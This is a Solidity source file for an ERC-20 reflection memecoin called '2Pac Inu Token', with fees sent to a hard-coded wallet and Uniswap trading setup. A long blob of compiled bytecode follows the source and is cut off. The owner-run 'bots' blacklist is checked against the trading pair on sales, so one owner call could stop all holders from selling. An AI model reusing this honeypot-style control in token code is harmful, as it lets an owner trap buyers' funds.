event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TwoPacInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 222222222222 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,9,0,9);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
uint256 launchedAt;
uint256 deadBlock;
string private constant _name = "2Pac Inu Token";
string private constant _symbol = "2PAC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x84C3e174f58B881028C1699D87222818564E2F72);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading(uint256 db) external onlyOwner() {
require(!tradingOpen,"trading is already open");
require(db <= 1);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(4).div(100);
tradingOpen = true;
deadBlock = db;
launchedAt = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address bot) public onlyOwner {
bots[bot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb146103e5578063b87f137a14610422578063c3c8cd801461044b578063d163364914610462578063dd62ed3e1461048b578063ffecf516146104c857610140565b806370a0823114610324578063715018a614610361578063751039fc146103785780638da5cb5b1461038f57806395d89b41146103ba57610140565b8063273123b7116100fd578063273123b71461023e578063313ce5671461026757806345596e2e146102925780635932ead1146102bb578063677daa57146102e45780636fc3eaec1461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806323b872dd1461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104f1565b6040516101679190612e16565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612968565b61052e565b6040516101a49190612dfb565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612a82565b61054c565b005b3480156101e257600080fd5b506101eb610643565b6040516101f89190612f58565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612915565b610654565b6040516102359190612dfb565b60405180910390f35b34801561024a57600080fd5b506102656004803603810190610260919061287b565b61072d565b005b34801561027357600080fd5b5061027c61081d565b6040516102899190612fcd565b60405180910390f35b34801561029e57600080fd5b506102b960048036038101906102b49190612a02565b610826565b005b3480156102c757600080fd5b506102e260048036038101906102dd91906129a8565b61089f565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612a02565b610951565b005b34801561031957600080fd5b50610322610a2b565b005b34801561033057600080fd5b5061034b6004803603810190610346919061287b565b610a9d565b6040516103589190612f58565b60405180910390f35b34801561036d57600080fd5b50610376610aee565b005b34801561038457600080fd5b5061038d610c41565b005b34801561039b57600080fd5b506103a4610cf8565b6040516103b19190612d2d565b60405180910390f35b3480156103c657600080fd5b506103cf610d21565b6040516103dc9190612e16565b60405180910390f35b3480156103f157600080fd5b5061040c60048036038101906104079190612968565b610d5e565b6040516104199190612dfb565b60405180910390f35b34801561042e57600080fd5b5061044960048036038101906104449190612a02565b610d7c565b005b34801561045757600080fd5b50610460610e56565b005b34801561046e57600080fd5b5061048960048036038101906104849190612a02565b610ed0565b005b34801561049757600080fd5b506104b260048036038101906104ad91906128d5565b6114a5565b6040516104bf9190612f58565b60405180910390f35b3480156104d457600080fd5b506104ef60048036038101906104ea919061287b565b61152c565b005b60606040518060400160405280600e81526020017f3250616320496e7520546f6b656e000000000000000000000000000000000000815250905090565b600061054261053b61161c565b8484611624565b6001905092915050565b61055461161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d890612eb8565b60405180910390fd5b600f5483856105f0919061303d565b11156105fb57600080fd5b601054818361060a919061303d565b111561061557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000680c0bf3edba243a0c00905090565b60006106618484846117ef565b6107228461066d61161c565b61071d8560405180606001604052806028815260200161353360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106d361161c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3d9092919063ffffffff16565b611624565b600190509392505050565b61073561161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b990612eb8565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661086761161c565b73ffffffffffffffffffffffffffffffffffffffff161461088757600080fd5b603181111561089557600080fd5b8060128190555050565b6108a761161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092b90612eb8565b60405180910390fd5b80601660176101000a81548160ff02191690831515021790555050565b61095961161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dd90612eb8565b60405180910390fd5b600081116109f357600080fd5b610a226064610a1483680c0bf3edba243a0c00611da190919063ffffffff16565b611e1c90919063ffffffff16565b60178190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a6c61161c565b73ffffffffffffffffffffffffffffffffffffffff1614610a8c57600080fd5b6000479050610a9a81611e66565b50565b6000610ae7600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ed2565b9050919050565b610af661161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a90612eb8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c4961161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccd90612eb8565b60405180910390fd5b680c0bf3edba243a0c00601781905550680c0bf3edba243a0c00601881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f3250414300000000000000000000000000000000000000000000000000000000815250905090565b6000610d72610d6b61161c565b84846117ef565b6001905092915050565b610d8461161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0890612eb8565b60405180910390fd5b60008111610e1e57600080fd5b610e4d6064610e3f83680c0bf3edba243a0c00611da190919063ffffffff16565b611e1c90919063ffffffff16565b60188190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e9761161c565b73ffffffffffffffffffffffffffffffffffffffff1614610eb757600080fd5b6000610ec230610a9d565b9050610ecd81611f40565b50565b610ed861161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5c90612eb8565b60405180910390fd5b601660149054906101000a900460ff1615610fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fac90612f38565b60405180910390fd5b6001811115610fc357600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061105330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680c0bf3edba243a0c00611624565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561109957600080fd5b505afa1580156110ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d191906128a8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561113357600080fd5b505afa158015611147573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116b91906128a8565b6040518363ffffffff1660e01b8152600401611188929190612d48565b602060405180830381600087803b1580156111a257600080fd5b505af11580156111b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111da91906128a8565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061126330610a9d565b60008061126e610cf8565b426040518863ffffffff1660e01b815260040161129096959493929190612d9a565b6060604051808303818588803b1580156112a957600080fd5b505af11580156112bd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112e29190612a2f565b50505060016016806101000a81548160ff0219169083151502179055506001601660176101000a81548160ff02191690831515021790555061134a606461133c6002680c0bf3edba243a0c00611da190919063ffffffff16565b611e1c90919063ffffffff16565b60178190555061138060646113726004680c0bf3edba243a0c00611da190919063ffffffff16565b611e1c90919063ffffffff16565b6018819055506001601660146101000a81548160ff0219169083151502179055508160148190555043601381905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161144e929190612d71565b602060405180830381600087803b15801561146857600080fd5b505af115801561147c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a091906129d5565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61153461161c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b890612eb8565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168b90612f18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb90612e58565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117e29190612f58565b60405180910390a3505050565b60008111611832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182990612ed8565b60405180910390fd5b6001601660186101000a81548160ff021916908315150217905550611855610cf8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118c35750611893610cf8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d2d57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119735750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119c95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e15750601660179054906101000a900460ff165b15611a4e576017548111156119f557600080fd5b60185481611a0284610a9d565b611a0c919061303d565b1115611a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4490612ef8565b60405180910390fd5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611af65750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b4f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611bc757600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611bab57600080fd5b6000601660186101000a81548160ff0219169083151502179055505b6000611bd230610a9d565b9050611c266064611c18601254611c0a601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a9d565b611da190919063ffffffff16565b611e1c90919063ffffffff16565b811115611c8257611c7f6064611c71601254611c63601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a9d565b611da190919063ffffffff16565b611e1c90919063ffffffff16565b90505b601660159054906101000a900460ff16158015611ced5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611d03575060168054906101000a900460ff165b15611d2b57611d1181611f40565b60004790506000811115611d2957611d2847611e66565b5b505b505b611d388383836121c8565b505050565b6000838311158290611d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7c9190612e16565b60405180910390fd5b5060008385611d94919061311e565b9050809150509392505050565b600080831415611db45760009050611e16565b60008284611dc291906130c4565b9050828482611dd19190613093565b14611e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0890612e98565b60405180910390fd5b809150505b92915050565b6000611e5e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121d8565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ece573d6000803e3d6000fd5b5050565b6000600954821115611f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f1090612e38565b60405180910390fd5b6000611f2361223b565b9050611f388184611e1c90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f7857611f77613279565b5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fbe57611fbd61324a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561206057600080fd5b505afa158015612074573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061209891906128a8565b816001815181106120ac576120ab61324a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061211330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611624565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612177959493929190612f73565b600060405180830381600087803b15801561219157600080fd5b505af11580156121a5573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b6121d3838383612266565b505050565b6000808311829061221f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122169190612e16565b60405180910390fd5b506000838561222e9190613093565b9050809150509392505050565b6000806000612248612431565b9150915061225f8183611e1c90919063ffffffff16565b9250505090565b60008060008060008061227887612493565b9550955095509550955095506122d686600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236b85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b7816125d0565b6123c1848361268d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161241e9190612f58565b60405180910390a3505050505050505050565b600080600060095490506000680c0bf3edba243a0c009050612467680c0bf3edba243a0c00600954611e1c90919063ffffffff16565b82101561248657600954680c0bf3edba243a0c0093509350505061248f565b81819350935050505b9091565b60008060008060008060008060006124a96126c7565b6124c7576124c28a600b60020154600b600301546126de565b6124dd565b6124dc8a600b60000154600b600101546126de565b5b92509250925060006124ed61223b565b905060008060006125008e878787612774565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061256a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d3d565b905092915050565b6000808284612581919061303d565b9050838110156125c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bd90612e78565b60405180910390fd5b8091505092915050565b60006125da61223b565b905060006125f18284611da190919063ffffffff16565b905061264581600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126a28260095461252890919063ffffffff16565b6009819055506126bd81600a5461257290919063ffffffff16565b600a819055505050565b6000601660189054906101000a900460ff16905090565b60008060008061270a60646126fc888a611da190919063ffffffff16565b611e1c90919063ffffffff16565b905060006127346064612726888b611da190919063ffffffff16565b611e1c90919063ffffffff16565b9050600061275d8261274f858c61252890919063ffffffff16565b61252890919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278d8589611da190919063ffffffff16565b905060006127a48689611da190919063ffffffff16565b905060006127bb8789611da190919063ffffffff16565b905060006127e4826127d6858761252890919063ffffffff16565b61252890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061280c816134ed565b92915050565b600081519050612821816134ed565b92915050565b60008135905061283681613504565b92915050565b60008151905061284b81613504565b92915050565b6000813590506128608161351b565b92915050565b6000815190506128758161351b565b92915050565b600060208284031215612891576128906132a8565b5b600061289f848285016127fd565b91505092915050565b6000602082840312156128be576128bd6132a8565b5b60006128cc84828501612812565b91505092915050565b600080604083850312156128ec576128eb6132a8565b5b60006128fa858286016127fd565b925050602061290b858286016127fd565b9150509250929050565b60008060006060848603121561292e5761292d6132a8565b5b600061293c868287016127fd565b935050602061294d868287016127fd565b925050604061295e86828701612851565b9150509250925092565b6000806040838503121561297f5761297e6132a8565b5b600061298d858286016127fd565b925050602061299e85828601612851565b9150509250929050565b6000602082840312156129be576129bd6132a8565b5b60006129cc84828501612827565b91505092915050565b6000602082840312156129eb576129ea6132a8565b5b60006129f98482850161283c565b91505092915050565b600060208284031215612a1857612a176132a8565b5b6000612a2684828501612851565b91505092915050565b600080600060608486031215612a4857612a476132a8565b5b6000612a5686828701612866565b9350506020612a6786828701612866565b9250506040612a7886828701612866565b9150509250925092565b60008060008060808587031215612a9c57612a9b6132a8565b5b6000612aaa87828801612851565b9450506020612abb87828801612851565b9350506040612acc87828801612851565b9250506060612add87828801612851565b91505092959194509250565b6000612af58383612b01565b60208301905092915050565b6